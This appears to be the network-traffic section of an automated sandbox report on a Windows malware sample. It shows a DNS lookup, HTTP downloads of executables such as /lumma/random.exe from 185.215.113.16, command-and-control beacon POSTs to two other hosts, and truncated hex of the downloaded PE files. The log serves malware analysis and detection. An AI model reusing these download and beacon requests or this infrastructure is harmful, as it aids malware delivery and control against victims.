Dec 27, 2024 09:01:48.462836027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.462877035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.462909937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.462971926 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:48.463660002 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:48.463740110 CET	80	49876	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:59:50.829329014 CET	192.168.2.4	1.1.1.1	0x65f3	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:59:50.969224930 CET	1.1.1.1	192.168.2.4	0x65f3	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:59:50.969224930 CET	1.1.1.1	192.168.2.4	0x65f3	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	185.215.113.16	80	6968	C:\Users\user\Desktop\LIWYEYWSOj.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:00:14.381719112 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 09:00:15.766807079 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:00:14 GMT Content-Type: application/octet-stream Content-Length: 5242880 Last-Modified: Fri, 27 Dec 2024 07:41:34 GMT Connection: keep-alive ETag: "676e5a2e-500000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 50 00 00 04 00 00 74 b3 50 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(P@@PtP@M$a$$ $$@.rsrc$$@.idata $$@frhnetpr@+$4+$@tbiteucnPO@.taggant0P"O@
Dec 27, 2024 09:00:15.766819954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:15.766830921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:15.766953945 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:15.766968966 CET	1236	IN	Data Raw: 90 63 71 95 56 7b 70 be 22 8b 0c 94 86 64 5f 0c c5 d8 71 0b 25 f6 2e 98 85 d3 5a 95 54 7b 0b 94 ae 07 56 d3 56 d3 72 94 56 fb 70 be 3a f4 0c 94 d1 bb fe bf cb ce 75 06 88 63 23 fe 86 cb 09 84 79 38 71 c2 57 0e b1 04 b2 7b e4 ce 5a cb 70 be be 8b Data Ascii: cqV{p"d_q%.ZT{VVrVp:uc#y8qW{Zp0IIiWFV{V{=`q{!.pV=`qd_8qCuVpcosV1{=`qd_8qW69q1q{qV<TAK,Vz{qGUw9qW=
Dec 27, 2024 09:00:15.766978979 CET	1236	IN	Data Raw: b2 7b 10 0b 0f c5 ac 49 09 b7 a5 49 09 f0 2f b0 2e 23 5d 94 56 f0 2f bc 2e 2b 5d 94 56 f0 2f 88 2e 13 5d 94 56 f0 6f 6d 74 0f 71 94 0a cc e4 9d ca 3c 69 0d 8f 73 31 6c 74 08 71 94 cd 7d ee 55 a1 75 e4 84 d1 b2 fd 8d 85 cb 70 be 62 8a 0c 94 cb 3c Data Ascii: {II/.#]V/.+]V/.]Vomtq<is1ltq}Uupb<]1lTq=e`wJs"W={v/SV{~G pb<E1lq=M`sW={OIiW*V{(pV{+\|1q{qV<TAK,Vz!SV{
Dec 27, 2024 09:00:15.766995907 CET	1236	IN	Data Raw: 83 64 5f 38 c5 d8 71 0b 80 17 e6 19 63 7a e4 4c 2d ef 67 94 56 f0 81 0e 5f ef 56 11 3a ef 5a 13 d8 1f 71 e0 43 c8 1f 97 40 2f e2 f0 56 f0 2e b0 86 cd 70 be fa 8b 0c 94 cb 3e b9 0e 15 ef 6e 6c 60 74 71 94 cb bc 89 d7 48 7b 71 0b 5d f2 f6 5d d0 64 Data Ascii: d_8qczL-gV_V:ZqC@/V.p>nl`tqH{q]]dmpbG{qSeV{SmV{SuV{S}V{fqpkwtL-O`V.h,vjV{>-fqd_HqtWM{q,Vd"@ViV(V{9q
Dec 27, 2024 09:00:15.767008066 CET	1236	IN	Data Raw: 8e 7a 89 27 4c 7b 71 0d 90 47 ef 55 a1 77 09 80 06 39 71 c4 57 0e 3d 05 b2 7b d2 65 cc d8 71 c4 cd 3e 79 94 40 97 e0 f0 56 f6 3d 8f c9 3d 72 6c d4 72 71 94 cb 43 eb 36 9d 64 71 94 d0 40 fe b7 cb 3e 95 0e 15 ef 58 0b d8 63 ef 94 a1 0b 21 c3 57 0e Data Ascii: z'L{qGUw9qW={eq>y@V==rlrqC6dq@>Xc!W={W{y8q@V5<rlrqk~B@/V{@VSlUS]V{}@>ZqC@/V.pVVd_(q}USV{em@pbV
Dec 27, 2024 09:00:15.767138958 CET	1236	IN	Data Raw: 56 7b e4 4c 2d b3 6e 94 56 28 b1 6d 14 7e 71 94 63 bb 89 5b 50 7b 71 0b 90 73 89 23 50 7b 71 0b 90 03 89 2b 50 7b 71 0b 90 1f 89 33 50 7b 71 0b d0 ab 71 94 56 53 d9 8e 56 7b e4 ce da 53 e1 8e 56 7b e4 ce a6 53 e9 8e 56 7b e4 ce b2 53 f1 8e 56 7b Data Ascii: V{L-nV(m~qc[P{qs#P{q+P{q3P{qqVSV{SV{SV{SV{SV{SV{SV{bSV{IIi_z("9U{qqV+xVU{qsI-{V//WfY(SUV{5mid_qkiIus1l xq\|Ut
Dec 27, 2024 09:00:15.767151117 CET	1236	IN	Data Raw: cd 33 65 f7 b8 c0 e4 6e b8 b8 a5 49 09 f0 5e 54 c4 d8 71 11 03 ee 36 5a fd f3 2c 94 63 b2 ea be 16 8a 0c 94 0f 7e d9 0d 92 7b 72 94 56 7b a8 8e fa f3 2c 94 56 79 71 94 0f 7e d1 0d 92 7b 71 94 56 7b a8 8e f2 f3 2c 94 56 7b 71 94 cd 76 ad 02 b2 7b Data Ascii: 3enI^Tq6Z,c~{rV{,Vyq~{qV{,V{qv{v{UEpV{Q{aV"qQ"2\|N&u\V:~:RhsJTJx<TR!zqV{4b/jKEbuIxR)isNS3:iOUzqV{FI
Dec 27, 2024 09:00:15.886578083 CET	1236	IN	Data Raw: ac 7d 09 5c 74 38 71 ec 16 1a 2c 94 f3 cb ea f0 56 53 0d b8 56 7b 0b 8f ae b3 52 d3 56 d3 a1 b2 93 7b cc d5 c9 d8 71 6c 88 07 71 94 ac 7c 09 7c 74 38 71 ec 36 1a 2c 94 f3 07 e7 f0 56 53 39 b8 56 7b ec 51 8d d1 64 ec 2e 1a 2c 94 ae 6f 53 d3 56 98 Data Ascii: }\t8q,VSV{RV{qlq\|\|t8q6,VS9V{Qd.,oSV{z{qwqSIIIIIIIII{SVY{wz{qOA{<#SV{.TVr,?SV{+z{qV]D{qlq]D{9q3
Dec 27, 2024 09:00:24.760013103 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 09:00:25.206283092 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:00:24 GMT Content-Type: application/octet-stream Content-Length: 3241472 Last-Modified: Fri, 27 Dec 2024 07:41:43 GMT Connection: keep-alive ETag: "676e5a37-317600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@172@Wke10e1 @.rsrc@.idata @guulvnfq**@wreswaohp1N1@.taggant01"T1@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	185.215.113.206	80	4928	C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:00:26.410784960 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 27, 2024 09:00:27.787735939 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 27, 2024 09:00:27.790611982 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEBFBFIEHIDAAAAFHCF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 32 46 38 30 31 46 43 39 30 34 33 34 37 39 32 32 31 31 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 2d 2d 0d 0a Data Ascii: ------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="hwid"322F801FC9043479221132------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="build"stok------JKEBFBFIEHIDAAAAFHCF--
Dec 27, 2024 09:00:28.242069960 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49773	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:04.761277914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:01:07.150964975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49783	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:08.794559002 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:01:10.136140108 CET	287	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 0d 0a 20 3c 63 3e 31 30 32 34 30 38 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 61 62 66 65 66 66 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 61 <c>1024086001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eabfeffb9ca30804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49789	185.215.113.16	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:10.263361931 CET	56	OUT	GET /lumma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 27, 2024 09:01:11.696923018 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:10 GMT Content-Type: application/octet-stream Content-Length: 2902528 Last-Modified: Fri, 27 Dec 2024 07:41:58 GMT Connection: keep-alive ETag: "676e5a46-2c4a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 10 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2f 00 00 04 00 00 c6 8d 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 59 40 05 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELYig/@@/,@Y@mA d@.rsrc 0t@.idata @t@lbjmjnxy)P)v@pixbpiqe/$,@.taggant0/"(,@
Dec 27, 2024 09:01:11.696955919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:11.696969032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:11.697006941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:11.697029114 CET	1236	IN	Data Raw: 07 52 ed 0d 14 8d b7 f3 eb 8a 46 29 b6 7d b6 2d 32 da 8e 4a 3a 37 6a a5 8a 77 a9 2d 6d 9d 36 9d b8 b5 88 06 2a b3 ea b6 b2 79 16 ea 22 31 f0 ad 68 c2 c5 b7 3e 62 3a a9 ed 80 6b cc ba ae ec d6 75 3e b9 88 f2 a5 37 65 91 8b 17 60 2a 3c a8 a8 3b 22 Data Ascii: RF)}-2J:7jw-m6y"1h>b:ku>7e`<;"j>;yeZv<Um[~a1NNSlOm&P+s!Bh/u.`1nsD3{u$d&/!d\qmtsR -Ku
Dec 27, 2024 09:01:11.697041035 CET	1236	IN	Data Raw: af b9 c8 0f a9 6e c6 c0 f9 18 75 a0 93 f8 76 12 5e 00 45 5b bb 99 58 58 3e 11 6a 51 d2 a9 43 b9 39 69 be 56 87 61 56 47 34 01 40 e2 27 7a be 82 2d df e7 d6 bb e8 75 45 3b e9 6a 81 63 f2 4f 71 05 2a 3e a7 09 9b 4b 2c 3f 9a 48 5e 2f 40 ae dc 90 73 Data Ascii: nuv^E[XX>jQC9iVaVG4@'z-uE;jcOq*>K,?H^/@sj//q]\Vz}R%xMErjOS]'6qj+ ^`3Rj#R"m7a7k1c<Cc9B13$Vh0w)Rq;"(GlZWTs
Dec 27, 2024 09:01:11.697053909 CET	1236	IN	Data Raw: b0 86 55 00 2e c6 e5 34 91 69 c7 ec 08 a5 04 73 2a 17 df 95 a1 eb 73 3d e3 de 1a 7f 6c cd a9 d2 92 97 a6 46 72 f0 b0 b6 43 f4 d3 34 20 07 2c b2 c0 fe ea ae 2c 5e ae ef cc 99 b1 ac b6 61 5f 68 b2 b5 79 0d 7d 82 66 94 db a1 59 c6 66 28 83 a6 26 27 Data Ascii: U.4iss=lFrC4 ,,^a_hy}fYf(&'HuGn/q[i+' E:y4p.joU'ca^@=,$vlP)v*%c-N5y/ehE8TQr8!oD94;WzHvUBjs)"
Dec 27, 2024 09:01:11.697192907 CET	1236	IN	Data Raw: 3b a5 91 c7 e1 20 22 40 52 7a 66 11 1f b2 d4 7c 4f b0 b1 02 b5 6d 2a d0 f3 63 99 cf 33 f0 7a d2 4b 8a de 5a 1f a1 2d e7 ec da 04 f8 16 d9 e6 20 2b b6 fa a7 ae 9e ca 45 22 d2 3b 6e b3 3a c7 2c ac a5 33 52 bb 87 b0 cc 36 bf b8 ae 5f ac 10 51 2a 89 Data Ascii: ; "@Rzf\|Omc3zKZ- +E";n:,3R6_QY6Ee&L2)/YxE 4fXsFYT+pmBm^8a8#Nfa[u p3%_$n)5*?n04UP>X<u:
Dec 27, 2024 09:01:11.697205067 CET	1236	IN	Data Raw: 89 3b d6 ba 3f f7 cf ee 6d 32 2c e4 c7 83 6d fd 52 a7 3a b4 f3 e1 0d c0 73 ed 2f c1 3b a3 36 57 fe ad 18 ad 1e 9d 26 97 9f 28 1d 30 cd 13 b7 b5 29 26 27 8f 52 6d 82 23 8d b9 62 16 f9 03 ec f7 d8 95 ef 43 41 a2 8a 27 53 b9 64 6f 18 a6 f6 6c cb f8 Data Ascii: ;?m2,mR:s/;6W&(0)&'Rm#bCA'Sdolrs1V&zIq"Lz!j\T=B\g/`S "w7{JvK]Qf"S^"=Fg3"9(v?UR*"(+OnCq`n^b
Dec 27, 2024 09:01:11.697269917 CET	1236	IN	Data Raw: 3a 3a b7 a1 ff cd aa 2c 49 0d 1a 5e fd 98 a6 ed f0 b5 a6 25 05 07 27 76 71 40 b9 b4 63 9c 68 37 4f ea bc ee 7a 54 54 47 ab 29 91 fa ab 0d 04 68 d7 f2 76 52 3b 91 fa ce 52 ad 73 2e 84 92 91 4d fe 8e 95 35 fe 7c f6 65 93 8e c9 74 8d ce 3d a8 82 9f Data Ascii: ::,I^%'vq@ch7OzTTG)hvR;Rs.M5\|et=3%q]BPOG%B](\:~54Bj:DF@I*)G&MWk$y~3JO}KVHO6%%Uz/j+Znc'PQAuG
Dec 27, 2024 09:01:11.816637039 CET	1236	IN	Data Raw: 66 d5 ea 68 22 aa ee 2d 98 aa 91 38 7b e8 99 6c a3 9a 78 be 37 f2 bf f6 18 59 66 cc b2 e0 07 fa 3e 84 ed 2e 44 a2 f5 c9 34 46 d6 42 eb 77 c2 da 2c 9a 9c 10 04 7b ec 64 28 58 e4 37 a2 6a 4e b4 e2 69 37 7d ab 22 74 b6 72 92 83 67 e1 24 08 2a 9a 7e Data Ascii: fh"-8{lx7Yf>.D4FBw,{d(X7jNi7}"trg$~&\m_//t"~;[/\~XB^T26%a[Wpt jW*c?(C6Nmk`W4)yR>vW>(-OUS;a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49808	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:19.187433004 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 32 34 30 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1024086001&unit=246122658369
Dec 27, 2024 09:01:20.539444923 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49818	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:22.279767036 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:01:23.674657106 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49826	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:25.370181084 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:01:26.794382095 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
